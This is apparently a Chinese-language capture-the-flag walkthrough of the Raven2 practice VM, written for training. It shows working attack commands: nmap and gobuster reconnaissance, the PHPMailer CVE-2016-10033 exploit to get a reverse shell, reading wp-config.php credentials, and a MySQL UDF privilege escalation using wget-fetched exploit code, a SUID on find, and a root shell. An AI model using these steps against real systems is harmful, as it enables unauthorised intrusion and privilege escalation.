环境
Winodws10 x64
Oracle VM
Raven2.ova 靶机
靶机下载，利用Oracle VM打开靶机，进行测试。
主要内容
1、主机发现，建议使用nmap (netdiscover经常扫描不出来)、目录爆破，建议使用kali下的gobuster (windows下的御剑字典不是很全)
2、phpmailer远程代码执行漏洞（CVE-2016-10033）利用，反弹shell
3、查看wordpress的wp-config.php配置文件得到数据库账号密码，mysql数据库UDF提权(CVE-2016-6662)
一、测试步骤
1、利用nmap进行主机发现nmap -sn 192.168.3.1/24(建议使用kali下的，我使用过win下的，贼慢)
nmap
访问192.168.3.54,查看源代码，没有发现为什么信息，利用gobuster(下载)进行目录爆破./gobuster -u http://192.168.3.54 -wpy/usr/share/wordlists/dirb/common.txt
gobuster
访问目录,得到flag1，同时发现网站目录位置:
vendor,flag1
发现有网站目录下还有PHPMailerAutoload.php和VERSION,查看VERSION发现是5.2.16。
2、利用kali搜索PHPMailer的相关漏洞，searchsploit phpmailer
phpmailer
发现phpmailer版本5.2.16,可以利用，这里选择/usr/share/exploitdb/exploits/php/webapps/40974.py目录下的python脚本CVE-2016-10033（个人感觉python未来语言）
payload
脚本开始加上# -*- coding: utf-8 -*-防止编码报错。运行python 40974.py
40974.py
构造好网页，点击http://192.168.3.54/contact.php触发生成log1n.php,kali监听4444端口，访问http://192.168.3.54/log1n.php
log1n.php
用python切换到交互shellpython -c 'import pty;pty.spawn("/bin/bash")'
kali
全局搜索find / -name "flag*" | grep -v Permission | grep -v "No such"
image.png
直接查看得到flag2，访问flag3图片可得flag3。
3、利用LinEnum查看linux信息，查看wordpress中wp-config.php配置cat wp-config.php
image.png
登录数据库mysql –u root -p进行登录，查看数据库版本，
login
发现可对数据库进行提权，kali下载提权CVE-2016-6662
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so eseudf.so
自己搭建服务器(看雪的KSA)，将wget http://xx.xx.xx.xx/eseudf.so下载，将其移动到/tmp目录下。进入数据库开始提权准备
mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)
mysql> insert into foo values(load_file('/tmp/eseudf.so'));
insert into foo values(load_file('/tmp/eseudf.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'eseudf.so';
create function do_system returns integer soname 'eseudf.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+-----------+----------+
| name | ret | dl | type |
+-----------+-----+-----------+----------+
| do_system | 2 | eseudf.so | function |
+-----------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)
mysql> exit;
最后进行提权find / -exec "/bin/sh" \;
root
完成测试。
网友评论